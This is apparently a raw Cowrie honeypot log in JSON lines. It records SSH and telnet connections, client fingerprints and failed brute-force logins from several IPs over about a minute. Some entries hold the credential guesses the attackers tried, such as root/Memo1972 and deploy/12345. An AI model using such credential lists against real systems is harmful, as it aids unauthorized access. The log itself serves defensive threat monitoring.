{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55480,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f71054a29ad","protocol":"telnet","message":"New connection: 172.81.62.90:55480 (159.203.135.109:23) [session: 1f71054a29ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:23.935278Z"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:25.479409Z","src_ip":"91.92.40.36","session":"df43e099a9f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23728,"dst_ip":"10.17.0.5","dst_port":22,"session":"621803541d8e","protocol":"ssh","message":"New connection: 91.92.40.36:23728 (10.17.0.5:22) [session: 621803541d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:27.292915Z"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:27.783170Z","src_ip":"91.92.40.36","session":"df43e099a9f6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:28.395163Z","src_ip":"91.92.40.36","session":"621803541d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:28.432229Z","src_ip":"91.92.40.36","session":"621803541d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43676,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7bdab552130","protocol":"telnet","message":"New connection: 172.81.62.90:43676 (159.203.135.109:23) [session: e7bdab552130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:32.257802Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345","message":"login attempt [deploy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:33.890649Z","src_ip":"91.92.40.36","session":"621803541d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:36.306127Z","src_ip":"91.92.40.36","session":"621803541d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23798,"dst_ip":"10.17.0.5","dst_port":22,"session":"67600bfe7158","protocol":"ssh","message":"New connection: 91.92.40.36:23798 (10.17.0.5:22) [session: 67600bfe7158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:36.731437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:37.944431Z","src_ip":"91.92.40.36","session":"67600bfe7158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:37.955122Z","src_ip":"91.92.40.36","session":"67600bfe7158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43666,"dst_ip":"159.203.135.109","dst_port":23,"session":"742d251d2785","protocol":"telnet","message":"New connection: 172.81.62.90:43666 (159.203.135.109:23) [session: 742d251d2785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:38.384982Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52190,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d2efcd5516e","protocol":"telnet","message":"New connection: 172.81.62.90:52190 (159.203.135.109:23) [session: 4d2efcd5516e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:38.398134Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64560,"dst_ip":"10.17.0.5","dst_port":22,"session":"16c7589df150","protocol":"ssh","message":"New connection: 91.92.40.36:64560 (10.17.0.5:22) [session: 16c7589df150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:45.559628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:45.996070Z","src_ip":"91.92.40.36","session":"16c7589df150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Memo1972","message":"login attempt [root/Memo1972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:46.518431Z","src_ip":"91.92.40.36","session":"67600bfe7158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:47.609123Z","src_ip":"91.92.40.36","session":"16c7589df150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:49.423330Z","src_ip":"91.92.40.36","session":"67600bfe7158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25930,"dst_ip":"10.17.0.5","dst_port":22,"session":"72240249044d","protocol":"ssh","message":"New connection: 91.92.40.36:25930 (10.17.0.5:22) [session: 72240249044d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:51.675200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:52.377254Z","src_ip":"91.92.40.36","session":"72240249044d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:52.380659Z","src_ip":"91.92.40.36","session":"72240249044d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123","message":"login attempt [a/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:53.333179Z","src_ip":"91.92.40.36","session":"16c7589df150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":54350,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13cd999b327","protocol":"ssh","message":"New connection: 103.84.236.242:54350 (159.203.135.109:22) [session: b13cd999b327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:55.033832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:55.038334Z","src_ip":"103.84.236.242","session":"b13cd999b327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:55.284749Z","src_ip":"103.84.236.242","session":"b13cd999b327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"123","message":"login attempt [public/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:55.397960Z","src_ip":"91.92.40.36","session":"72240249044d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:56.276296Z","src_ip":"103.84.236.242","session":"b13cd999b327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:56.717044Z","src_ip":"91.92.40.36","session":"72240249044d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40224,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ba142c7039","protocol":"telnet","message":"New connection: 128.199.8.54:40224 (159.203.135.109:23) [session: d6ba142c7039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:56.951275Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:57.518055Z","src_ip":"103.84.236.242","session":"b13cd999b327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:57.956099Z","src_ip":"91.92.40.36","session":"16c7589df150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38600,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c56b4f20c5","protocol":"ssh","message":"New connection: 27.71.230.31:38600 (159.203.135.109:22) [session: 42c56b4f20c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:59.038064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:59.099589Z","src_ip":"27.71.230.31","session":"42c56b4f20c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34808,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e9607368f70","protocol":"telnet","message":"New connection: 172.81.62.90:34808 (159.203.135.109:23) [session: 0e9607368f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:59.105659Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:59.319752Z","src_ip":"27.71.230.31","session":"42c56b4f20c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35348,"dst_ip":"159.203.135.109","dst_port":23,"session":"d234b2856dde","protocol":"telnet","message":"New connection: 107.6.151.170:35348 (159.203.135.109:23) [session: d234b2856dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:59.760635Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48426,"dst_ip":"10.17.0.5","dst_port":22,"session":"47a0785469a7","protocol":"ssh","message":"New connection: 91.92.40.36:48426 (10.17.0.5:22) [session: 47a0785469a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:59.999135Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34804,"dst_ip":"159.203.135.109","dst_port":23,"session":"97e6f51caba8","protocol":"telnet","message":"New connection: 172.81.62.90:34804 (159.203.135.109:23) [session: 97e6f51caba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:00.099227Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":55256,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3edc9a98a24","protocol":"ssh","message":"New connection: 101.36.122.139:55256 (10.17.0.5:22) [session: d3edc9a98a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:00.259430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:00.264982Z","src_ip":"101.36.122.139","session":"d3edc9a98a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:00.481973Z","src_ip":"101.36.122.139","session":"d3edc9a98a24","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:00.720284Z","src_ip":"91.92.40.36","session":"47a0785469a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:00.723706Z","src_ip":"91.92.40.36","session":"47a0785469a7","protocol":"ssh"}
